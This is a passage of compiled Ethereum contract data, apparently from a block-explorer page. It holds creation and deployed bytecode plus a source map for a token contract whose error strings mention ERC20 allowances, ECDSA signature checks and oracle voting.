600082601f83011261101d578081fd5b813561103061102b82611b4f565b611b2b565b81815291506020808301908481018184028601820187101561105157600080fd5b60005b848110156110775761106582610ff6565b84529282019290820190600101611054565b505050505092915050565b600082601f830112611092578081fd5b81356110a061102b82611b4f565b818152915060208083019084810160005b84811015611077576110c8888484358a01016110ea565b845292820192908201906001016110b1565b8035801515811461060957600080fd5b6000604082840312156110fb578081fd5b6040516040810167ffffffffffffffff828210818311171561111957fe5b8160405282935061112985610ff6565b835260209150818501358181111561114057600080fd5b8501601f8101871361115157600080fd5b80358281111561115d57fe5b61116f601f8201601f19168501611b2b565b9250808352878482840101111561118557600080fd5b808483018585013760009083018401525091015292915050565b600081830360c08112156111b1578182fd5b604080516060810167ffffffffffffffff82821081831117156111d057fe5b8184528295506111df87610ff6565b83526111ed6020880161128f565b6020840152603f1985019450608085121561120757600080fd5b8351915060608201828110828211171561121d57fe5b8085528486121561122d57600080fd5b60a083019550808610828711171561124157fe5b8585528488013595508560000b861461125957600080fd5b8581526060880135608084015280835250506080860135602082015261128160a0870161128f565b818401529101525092915050565b803567ffffffffffffffff8116811461060957600080fd5b6000602082840312156112b8578081fd5b6112c182610ff6565b9392505050565b600080604083850312156112da578081fd5b6112e383610ff6565b91506112f160208401610ff6565b90509250929050565b60008060006060848603121561130e578081fd5b61131784610ff6565b925061132560208501610ff6565b9150604084013590509250925092565b6000806000806060858703121561134a578081fd5b61135385610ff6565b9350602085013567ffffffffffffffff8082111561136f578283fd5b818701915087601f830112611382578283fd5b813581811115611390578384fd5b88602080830285010111156113a3578384fd5b95986020929092019750949560400135945092505050565b600080604083850312156113cd578182fd5b6113d683610ff6565b946020939093013593505050565b600080604083850312156113f6578182fd5b6113d6836110da565b600080600060608486031215611413578081fd5b61141c846110da565b925060208401359150604084013567ffffffffffffffff81111561143e578182fd5b61144a86828701611082565b9150509250925092565b600060208284031215611465578081fd5b5035919050565b6000806040838503121561147e578182fd5b82359150602083013567ffffffffffffffff81111561149b578182fd5b6114a7858286016110ea565b9150509250929050565b600080604083850312156114c3578182fd5b82359150602083013567ffffffffffffffff8111156114e0578182fd5b6114a78582860161100d565b600080600060608486031215611500578081fd5b83359250602084013567ffffffffffffffff8082111561151e578283fd5b61152a8783880161100d565b9350604086013591508082111561153f578283fd5b5061144a86828701611082565b600060c0828403121561155d578081fd5b6112c1838361119f565b60008060e08385031215611579578182fd5b611583848461119f565b915060c083013567ffffffffffffffff81111561159e578182fd5b6114a785828601611082565b6000602082840312156115bb578081fd5b5051919050565b6000602082840312156115d3578081fd5b815160ff811681146112c1578182fd5b6000815180845260208085019450808401835b8381101561161b5781516001600160a01b0316875295820195908201906001016115f6565b509495945050505050565b60008251611638818460208701611b6d565b9190910192915050565b60008351611654818460208801611b6d565b9190910191825250602001919050565b6001600160a01b0391909116815260200190565b6001600160a01b03948516815292841660208401526040830191909152909116606082015260800190565b6000602082526112c160208301846115e3565b901515815260200190565b90815260200190565b93845260ff9290921660208401526040830152606082015260800190565b60008382526040602083015261170160408301846115e3565b949350505050565b600061ffff851682528360208301526060604083015261172c60608301846115e3565b95945050505050565b61ffff9390931683529015156020830152604082015260600190565b61ffff9790971687526001600160a01b0395909516602087015267ffffffffffffffff938416604087015260009290920b6060860152608085015260a08401521660c082015260e00190565b60006020825282518060208401526117bc816040850160208701611b6d565b601f01601f19169190910160400192915050565b6020808252601f908201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604082015260600190565b6020808252601590820152744e6f7420656e6f756768207369676e61747572657360581b604082015260600190565b6020808252600f908201526e57726f6e67207369676e617475726560881b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526014908201527313995dc81cd95d081a5cc81d1bdbc81cda1bdc9d60621b604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604082015261756560f01b606082015260800190565b60208082526018908201527f566f746520697320616c72656164792066696e69736865640000000000000000604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604082015261756560f01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526017908201527f4475706c6963617465206f7261636c6520696e20536574000000000000000000604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252601390820152722ab730baba3437b934bd32b21039b4b3b732b960691b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f5369676e61747572657320617265206e6f7420736f7274656400000000000000604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715611b4757fe5b604052919050565b600067ffffffffffffffff821115611b6357fe5b5060209081020190565b60005b83811015611b88578181015183820152602001611b70565b83811115610421575050600091015256fea264697066735822122032da20268ec2a947de7bf2e5065f726c627c000f7076cada59e932503206990864736f6c63430007040033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806375f2d82b116100c3578063a97e5c931161007c578063a97e5c93146102b7578063aefe7da4146102ca578063cf1a0ce1146102dd578063d93aef11146102f0578063dd62ed3e14610303578063ffb6b2fa146103165761014d565b806375f2d82b1461024e5780637ddc10271461026357806395d89b4114610276578063a2d7cab81461027e578063a457c2d714610291578063a9059cbb146102a45761014d565b8063313ce56711610115578063313ce567146101cd57806339509351146101e25780634054b92b146101f55780634fd7795414610208578063633a0d181461022857806370a082311461023b5761014d565b806306fdde0314610152578063095ea7b3146101705780630a55ec251461019057806318160ddd146101a557806323b872dd146101ba575b600080fd5b61015a610329565b604051610167919061179d565b60405180910390f35b61018361017e3660046113bb565b6103bf565b60405161016791906116b6565b6101a361019e3660046114ec565b6103d5565b005b6101ad610427565b60405161016791906116c1565b6101836101c83660046112fa565b61042d565b6101d5610496565b6040516101679190611b1d565b6101836101f03660046113bb565b61049b565b6101a3610203366004611567565b6104ce565b61021b610216366004611454565b6104ea565b6040516101679190611664565b6101ad61023636600461154c565b610514565b6101ad6102493660046112a7565b610567565b61025661060e565b60405161016791906116a3565b6101ad6102713660046113e4565b61066f565b61015a6106a6565b6101a361028c36600461146c565b610707565b61018361029f3660046113bb565b6108b1565b6101836102b23660046113bb565b61090c565b6101836102c53660046112a7565b610919565b6101ad6102d83660046114b1565b61092e565b6101836102eb366004611454565b610947565b6101a36102fe366004611335565b61095c565b6101ad6103113660046112c8565b610a35565b6101a36103243660046113ff565b610a60565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b55780601f1061038a576101008083540402835291602001916103b5565b820191906000526020600020905b81548152906001019060200180831161039857829003601f168201915b5050505050905090565b60006103cc338484610a78565b50600192915050565b60006103e1848461092e565b9050600283511161040d5760405162461bcd60e51b8152600401610404906118a1565b60405180910390fd5b6104178183610bd0565b6104218484610d00565b50505050565b60025490565b600061043a848484610e60565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561047e5760405162461bcd60e51b81526004016104049061198a565b61048b8533858403610a78565b506001949350505050565b601290565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103cc9185908501610a78565b60006104d983610514565b90506104e58183610bd0565b505050565b600581815481106104fa57600080fd5b6000918252602090912001546001600160a01b0316905081565b805160208083015160408085015180518051908501518286015192840151935160009761054a9761da7a97919691959201611751565b604051602081830303815290604052805190602001209050919050565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000b8a42b653deeb40692f151015893e1bbf246bf1416906370a08231906105b6908590600401611664565b60206040518083038186803b1580156105ce57600080fd5b505afa1580156105e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060691906115aa565b90505b919050565b606060058054806020026020016040519081016040528092919081815260200182805480156103b557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610648575050505050905090565b600061b012838360405160200161068893929190611735565b60405160208183030381529060405280519060200120905092915050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b55780601f1061038a576101008083540402835291602001916103b5565b80602001515160411461072c5760405162461bcd60e51b8152600401610404906117d0565b60208082015190810151604082015160608301519192909160001a907f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156107885760405162461bcd60e51b8152600401610404906118cf565b8160ff16601b141580156107a057508160ff16601c14155b156107bd5760405162461bcd60e51b815260040161040490611948565b60606040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090506000818860405160200161080c929190611642565b60405160208183030381529060405280519060200120905086600001516001600160a01b03166001828689896040516000815260200160405260405161085594939291906116ca565b6020604051602081039080840390855afa158015610877573d6000803e3d6000fd5b505050602060405103516001600160a01b0316146108a75760405162461bcd60e51b815260040161040490611836565b5050505050505050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156108f55760405162461bcd60e51b815260040161040490611ad8565b6109023385858403610a78565b5060019392505050565b60006103cc338484610e60565b60066020526000908152604090205460ff1681565b60006105e7838360405160200161068893929190611709565b60076020526000908152604090205460ff1681565b336001600160a01b037f000000000000000000000000b8a42b653deeb40692f151015893e1bbf246bf14161480156109945750600081115b6109b05760405162461bcd60e51b815260040161040490611a09565b60005b82811015610a2e578383828181106109c757fe5b90506020020160208101906109dc91906112a7565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1e91906116c1565b60405180910390a36001016109b3565b5050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000610a6c848461066f565b90506104218183610bd0565b6001600160a01b038316610a9e5760405162461bcd60e51b815260040161040490611a5d565b6001600160a01b038216610ac45760405162461bcd60e51b81526004016104049061185f565b336001600160a01b0384161415610b68577f000000000000000000000000b8a42b653deeb40692f151015893e1bbf246bf146001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2e57600080fd5b505afa158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6691906115c2565b505b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610bc39085906116c1565b60405180910390a3505050565b6005546003906002020481511015610bfa5760405162461bcd60e51b815260040161040490611807565b60008281526007602052604090205460ff1615610c295760405162461bcd60e51b815260040161040490611911565b80516000805b82811015610ce1576000848281518110610c4557fe5b602090810291909101810151516001600160a01b0381166000908152600690925260409091205490915060ff16610c8e5760405162461bcd60e51b815260040161040490611a30565b6001600160a01b038116838111610cb75760405162461bcd60e51b815260040161040490611aa1565b809350610cd787878581518110610cca57fe5b6020026020010151610707565b5050600101610c2f565b505050600091825250600760205260409020805460ff19166001179055565b60055460005b81811015610d5d5760006006600060058481548110610d2157fe5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055600101610d06565b508151610d71906005906020850190610f7c565b5060055460005b81811015610e205760066000858381518110610d9057fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615610dd45760405162461bcd60e51b8152600401610404906119d2565b600160066000868481518110610de657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610d78565b507fbf8eff3db76b38ea899a5a32c8b2bede5ec5a339a2c5080495d1b154f2b5f21e8484604051610e529291906116e8565b60405180910390a150505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea391906116c1565b60405180910390a360007f000000000000000000000000b8a42b653deeb40692f151015893e1bbf246bf146001600160a01b0316634d50e76385858533604051602401610ef39493929190611678565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051610f2c9190611626565b6000604051808303816000865af19150503d8060008114610f69576040519150601f19603f3d011682016040523d82523d6000602084013e610f6e565b606091505b505090508061042157600080fd5b828054828255906000526020600020908101928215610fd1579160200282015b82811115610fd157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610f9c565b50610fdd929150610fe1565b5090565b5b80821115610fdd5760008155600101610fe2565b80356001600160a01b038116811461060957600080fd5b600082601f83011261101d578081fd5b813561103061102b82611b4f565b611b2b565b81815291506020808301908481018184028601820187101561105157600080fd5b60005b848110156110775761106582610ff6565b84529282019290820190600101611054565b505050505092915050565b600082601f830112611092578081fd5b81356110a061102b82611b4f565b818152915060208083019084810160005b84811015611077576110c8888484358a01016110ea565b845292820192908201906001016110b1565b8035801515811461060957600080fd5b6000604082840312156110fb578081fd5b6040516040810167ffffffffffffffff828210818311171561111957fe5b8160405282935061112985610ff6565b835260209150818501358181111561114057600080fd5b8501601f8101871361115157600080fd5b80358281111561115d57fe5b61116f601f8201601f19168501611b2b565b9250808352878482840101111561118557600080fd5b808483018585013760009083018401525091015292915050565b600081830360c08112156111b1578182fd5b604080516060810167ffffffffffffffff82821081831117156111d057fe5b8184528295506111df87610ff6565b83526111ed6020880161128f565b6020840152603f1985019450608085121561120757600080fd5b8351915060608201828110828211171561121d57fe5b8085528486121561122d57600080fd5b60a083019550808610828711171561124157fe5b8585528488013595508560000b861461125957600080fd5b8581526060880135608084015280835250506080860135602082015261128160a0870161128f565b818401529101525092915050565b803567ffffffffffffffff8116811461060957600080fd5b6000602082840312156112b8578081fd5b6112c182610ff6565b9392505050565b600080604083850312156112da578081fd5b6112e383610ff6565b91506112f160208401610ff6565b90509250929050565b60008060006060848603121561130e578081fd5b61131784610ff6565b925061132560208501610ff6565b9150604084013590509250925092565b6000806000806060858703121561134a578081fd5b61135385610ff6565b9350602085013567ffffffffffffffff8082111561136f578283fd5b818701915087601f830112611382578283fd5b813581811115611390578384fd5b88602080830285010111156113a3578384fd5b95986020929092019750949560400135945092505050565b600080604083850312156113cd578182fd5b6113d683610ff6565b946020939093013593505050565b600080604083850312156113f6578182fd5b6113d6836110da565b600080600060608486031215611413578081fd5b61141c846110da565b925060208401359150604084013567ffffffffffffffff81111561143e578182fd5b61144a86828701611082565b9150509250925092565b600060208284031215611465578081fd5b5035919050565b6000806040838503121561147e578182fd5b82359150602083013567ffffffffffffffff81111561149b578182fd5b6114a7858286016110ea565b9150509250929050565b600080604083850312156114c3578182fd5b82359150602083013567ffffffffffffffff8111156114e0578182fd5b6114a78582860161100d565b600080600060608486031215611500578081fd5b83359250602084013567ffffffffffffffff8082111561151e578283fd5b61152a8783880161100d565b9350604086013591508082111561153f578283fd5b5061144a86828701611082565b600060c0828403121561155d578081fd5b6112c1838361119f565b60008060e08385031215611579578182fd5b611583848461119f565b915060c083013567ffffffffffffffff81111561159e578182fd5b6114a785828601611082565b6000602082840312156115bb578081fd5b5051919050565b6000602082840312156115d3578081fd5b815160ff811681146112c1578182fd5b6000815180845260208085019450808401835b8381101561161b5781516001600160a01b0316875295820195908201906001016115f6565b509495945050505050565b60008251611638818460208701611b6d565b9190910192915050565b60008351611654818460208801611b6d565b9190910191825250602001919050565b6001600160a01b0391909116815260200190565b6001600160a01b03948516815292841660208401526040830191909152909116606082015260800190565b6000602082526112c160208301846115e3565b901515815260200190565b90815260200190565b93845260ff9290921660208401526040830152606082015260800190565b60008382526040602083015261170160408301846115e3565b949350505050565b600061ffff851682528360208301526060604083015261172c60608301846115e3565b95945050505050565b61ffff9390931683529015156020830152604082015260600190565b61ffff9790971687526001600160a01b0395909516602087015267ffffffffffffffff938416604087015260009290920b6060860152608085015260a08401521660c082015260e00190565b60006020825282518060208401526117bc816040850160208701611b6d565b601f01601f19169190910160400192915050565b6020808252601f908201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604082015260600190565b6020808252601590820152744e6f7420656e6f756768207369676e61747572657360581b604082015260600190565b6020808252600f908201526e57726f6e67207369676e617475726560881b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526014908201527313995dc81cd95d081a5cc81d1bdbc81cda1bdc9d60621b604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604082015261756560f01b606082015260800190565b60208082526018908201527f566f746520697320616c72656164792066696e69736865640000000000000000604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604082015261756560f01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526017908201527f4475706c6963617465206f7261636c6520696e20536574000000000000000000604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252601390820152722ab730baba3437b934bd32b21039b4b3b732b960691b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f5369676e61747572657320617265206e6f7420736f7274656400000000000000604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715611b4757fe5b604052919050565b600067ffffffffffffffff821115611b6357fe5b5060209081020190565b60005b83811015611b88578181015183820152602001611b70565b83811115610421575050600091015256fea264697066735822122032da20268ec2a947de7bf2e5065f726c627c000f7076cada59e932503206990864736f6c63430007040033
Deployed Bytecode Sourcemap
17964:2448:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5046:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7201:167;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;19221:345::-;;;;;;:::i;:::-;;:::i;:::-;;6139:108;;;:::i;:::-;;;;;;;:::i;7850:429::-;;;;;;:::i;:::-;;:::i;5990:84::-;;;:::i;:::-;;;;;;;:::i;8688:211::-;;;;;;:::i;:::-;;:::i;19033:180::-;;;;;;:::i;:::-;;:::i;18031:27::-;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;16726:518::-;;;;;;:::i;:::-;;:::i;6310:133::-;;;;;;:::i;:::-;;:::i;20306:103::-;;;:::i;:::-;;;;;;;:::i;17615:334::-;;;;;;:::i;:::-;;:::i;5256:95::-;;;:::i;15399:1319::-;;;;;;:::i;:::-;;:::i;9402:373::-;;;;;;:::i;:::-;;:::i;6656:184::-;;;;;;:::i;:::-;;:::i;18065:40::-;;;;;;:::i;:::-;;:::i;17252:355::-;;;;;;:::i;:::-;;:::i;18112:47::-;;;;;;:::i;:::-;;:::i;12534:280::-;;;;;;:::i;:::-;;:::i;6903:151::-;;;;;;:::i;:::-;;:::i;19574:213::-;;;;;;:::i;:::-;;:::i;5046:91::-;5124:5;5117:12;;;;;;;;-1:-1:-1;;5117:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5091:13;;5117:12;;5124:5;;5117:12;;5124:5;5117:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5046:91;:::o;7201:167::-;7284:4;7301:37;7310:10;7322:7;7331:6;7301:8;:37::i;:::-;-1:-1:-1;7356:4:0;7201:167;;;;:::o;19221:345::-;19355:11;19369:38;19381:13;19396:10;19369:11;:38::i;:::-;19355:52;;19444:1;19424:10;:17;:21;19416:54;;;;-1:-1:-1;;;19416:54:0;;;;;;;:::i;:::-;;;;;;;;;19479:28;19491:3;19496:10;19479:11;:28::i;:::-;19516:42;19532:13;19547:10;19516:15;:42::i;:::-;19221:345;;;;:::o;6139:108::-;6227:12;;6139:108;:::o;7850:429::-;7956:4;7973:47;7994:6;8002:9;8013:6;7973:20;:47::i;:::-;-1:-1:-1;;;;;8060:19:0;;8033:24;8060:19;;;:11;:19;;;;;;;;8080:10;8060:31;;;;;;;;8110:26;;;;8102:79;;;;-1:-1:-1;;;8102:79:0;;;;;;;:::i;:::-;8192:55;8201:6;8209:10;8240:6;8221:16;:25;8192:8;:55::i;:::-;-1:-1:-1;8267:4:0;;7850:429;-1:-1:-1;;;;7850:429:0:o;5990:84::-;6064:2;5990:84;:::o;8688:211::-;8802:10;8776:4;8823:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;8823:32:0;;;;;;;;;;8776:4;;8793:76;;8814:7;;8823:45;;8793:8;:76::i;19033:180::-;19135:11;19149:19;19163:4;19149:13;:19::i;:::-;19135:33;;19177:28;19189:3;19194:10;19177:11;:28::i;:::-;19033:180;;;:::o;18031:27::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18031:27:0;;-1:-1:-1;18031:27:0;:::o;16726:518::-;16964:13;;17000:11;;;;;17034:7;;;;;:16;;:26;;17083:29;;;;17135:15;;;;17173:10;;;;16902:319;;16819:14;;16902:319;;16935:6;;16964:13;;17000:11;;17135:15;16902:319;;:::i;:::-;;;;;;;;;;;;;16874:362;;;;;;16851:385;;16726:518;;;:::o;6310:133::-;6411:24;;-1:-1:-1;;;6411:24:0;;6384:7;;-1:-1:-1;;;;;6411:5:0;:15;;;;:24;;6427:7;;6411:24;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6404:31;;6310:133;;;;:::o;20306:103::-;20355:16;20391:10;20384:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20384:17:0;;;;;;;;;;;;;;;;;;;;;;20306:103;:::o;17615:334::-;17722:14;17837:6;17866:13;17902:5;17804:122;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;17776:165;;;;;;17754:187;;17615:334;;;;:::o;5256:95::-;5336:7;5329:14;;;;;;;;-1:-1:-1;;5329:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5303:13;;5329:14;;5336:7;;5329:14;;5336:7;5329:14;;;;;;;;;;;;;;;;;;;;;;;;15399:1319;15490:3;:13;;;:20;15514:2;15490:26;15486:104;;15535:41;;-1:-1:-1;;;15535:41:0;;;;;;;:::i;15486:104::-;15754:13;;;;;16007:20;;;16001:27;16070:4;16055:20;;16049:27;15729:22;16111:20;;16105:27;16001;;16049;;15663:9;16097:36;;16208:66;16180:94;;16160:203;;;16305:44;;-1:-1:-1;;;16305:44:0;;;;;;;:::i;16160:203::-;16381:1;:7;;16386:2;16381:7;;:18;;;;;16392:1;:7;;16397:2;16392:7;;16381:18;16377:99;;;16418:44;;-1:-1:-1;;;16418:44:0;;;;;;;:::i;16377:99::-;16488:19;:56;;;;;;;;;;;;;;;;;;;16557:20;16607:6;16615;16590:32;;;;;;;;;:::i;:::-;;;;;;;;;;;;;16580:43;;;;;;16557:66;;16680:3;:10;;;-1:-1:-1;;;;;16644:46:0;:32;16654:12;16668:1;16671;16674;16644:32;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16644:46:0;;16636:74;;;;-1:-1:-1;;;16636:74:0;;;;;;;:::i;:::-;15399:1319;;;;;;;;:::o;9402:373::-;9551:10;9495:4;9539:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9539:32:0;;;;;;;;;;9590:35;;;;9582:85;;;;-1:-1:-1;;;9582:85:0;;;;;;;:::i;:::-;9678:65;9687:10;9699:7;9727:15;9708:16;:34;9678:8;:65::i;:::-;-1:-1:-1;9763:4:0;;9402:373;-1:-1:-1;;;9402:373:0:o;6656:184::-;6742:4;6759:51;6780:10;6792:9;6803:6;6759:20;:51::i;18065:40::-;;;;;;;;;;;;;;;:::o;17252:355::-;17362:14;17478:5;17506:13;17542:3;17445:139;;;;;;;;;;:::i;18112:47::-;;;;;;;;;;;;;;;:::o;12534:280::-;12632:10;-1:-1:-1;;;;;12654:5:0;12632:28;;:37;;;;;12668:1;12664;:5;12632:37;12624:63;;;;-1:-1:-1;;;12624:63:0;;;;;;;:::i;:::-;12705:9;12700:107;12720:18;;;12700:107;;;12781:7;;12789:1;12781:10;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12765:30:0;12774:5;-1:-1:-1;;;;;12765:30:0;;12793:1;12765:30;;;;;;:::i;:::-;;;;;;;;12740:3;;12700:107;;;;12534:280;;;;:::o;6903:151::-;-1:-1:-1;;;;;7019:18:0;;;6992:7;7019:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6903:151::o;19574:213::-;19688:11;19702:40;19721:13;19736:5;19702:18;:40::i;:::-;19688:54;;19751:28;19763:3;19768:10;19751:11;:28::i;13252:398::-;-1:-1:-1;;;;;13354:19:0;;13346:68;;;;-1:-1:-1;;;13346:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13433:21:0;;13425:68;;;;-1:-1:-1;;;13425:68:0;;;;;;;:::i;:::-;13508:10;-1:-1:-1;;;;;13508:19:0;;;13504:41;;;13529:5;-1:-1:-1;;;;;13529:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13504:41;-1:-1:-1;;;;;13558:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;13610:32;;;;;13588:6;;13610:32;:::i;:::-;;;;;;;;13252:398;;;:::o;18319:706::-;18438:10;:17;18458:1;;18434;:21;:25;18413:10;:17;:46;;18405:80;;;;-1:-1:-1;;;18405:80:0;;;;;;;:::i;:::-;18503:23;;;;:15;:23;;;;;;;;18502:24;18494:61;;;;-1:-1:-1;;;18494:61:0;;;;;;;:::i;:::-;18578:17;;18564:11;;18633:346;18649:6;18647:1;:8;18633:346;;;18673:14;18690:10;18701:1;18690:13;;;;;;;;;;;;;;;;;;;:20;-1:-1:-1;;;;;18729:16:0;;18690:20;18729:16;;;:8;:16;;;;;;;;18690:20;;-1:-1:-1;18729:16:0;;18721:48;;;;-1:-1:-1;;;18721:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18799:12:0;;18830:25;;;18822:63;;;;-1:-1:-1;;;18822:63:0;;;;;;;:::i;:::-;18910:11;18896:25;;18932:37;18947:6;18955:10;18966:1;18955:13;;;;;;;;;;;;;;18932:14;:37::i;:::-;-1:-1:-1;;18657:3:0;;18633:346;;;-1:-1:-1;;;18987:23:0;;;;-1:-1:-1;18987:15:0;:23;;;;;:30;;-1:-1:-1;;18987:30:0;19013:4;18987:30;;;18319:706::o;19795:503::-;19899:10;:17;19882:14;19925:88;19945:9;19941:1;:13;19925:88;;;19998:5;19972:8;:23;19981:10;19992:1;19981:13;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19981:13:0;19972:23;;;;;;;;;;;;:31;;-1:-1:-1;;19972:31:0;;;;;;;;;;-1:-1:-1;19956:3:0;19925:88;;;-1:-1:-1;20021:19:0;;;;:10;;:19;;;;;:::i;:::-;-1:-1:-1;20066:10:0;:17;20049:14;20092:150;20112:9;20108:1;:13;20092:150;;;20148:8;:19;20157:6;20164:1;20157:9;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20148:19:0;;;;;;;;;;;-1:-1:-1;20148:19:0;;;;20147:20;20139:56;;;;-1:-1:-1;;;20139:56:0;;;;;;;:::i;:::-;20228:4;20206:8;:19;20215:6;20222:1;20215:9;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20206:19:0;;;;;;;;;;;-1:-1:-1;20206:19:0;:26;;-1:-1:-1;;20206:26:0;;;;;;;;;;-1:-1:-1;20123:3:0;20092:150;;;;20255:35;20268:13;20283:6;20255:35;;;;;;;:::i;:::-;;;;;;;;19795:503;;;;:::o;14253:236::-;14364:2;-1:-1:-1;;;;;14349:26:0;14358:4;-1:-1:-1;;;;;14349:26:0;;14368:6;14349:26;;;;;;:::i;:::-;;;;;;;;14378:6;14397:5;-1:-1:-1;;;;;14389:19:0;14432:10;14444:4;14450:2;14454:6;14462:10;14409:64;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14409:64:0;;;;;;;;;;;14389:85;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14377:97;;;14484:1;14476:10;;;;;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:175:1;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:700;;307:3;300:4;292:6;288:17;284:27;274:2;;329:5;322;315:20;274:2;373:6;360:20;398:69;413:53;459:6;413:53;:::i;:::-;398:69;:::i;:::-;501:21;;;389:78;-1:-1:-1;541:4:1;561:14;;;;595:15;;;641;;;629:28;;625:37;;622:46;-1:-1:-1;619:2:1;;;681:1;678;671:12;619:2;703:1;713:175;727:6;724:1;721:13;713:175;;;788:25;809:3;788:25;:::i;:::-;776:38;;834:12;;;;866;;;;749:1;742:9;713:175;;;717:3;;;;;264:630;;;;:::o;899:686::-;;1022:3;1015:4;1007:6;1003:17;999:27;989:2;;1044:5;1037;1030:20;989:2;1088:6;1075:20;1113:69;1128:53;1174:6;1128:53;:::i;1113:69::-;1216:21;;;1104:78;-1:-1:-1;1256:4:1;1276:14;;;;1310:15;;;1343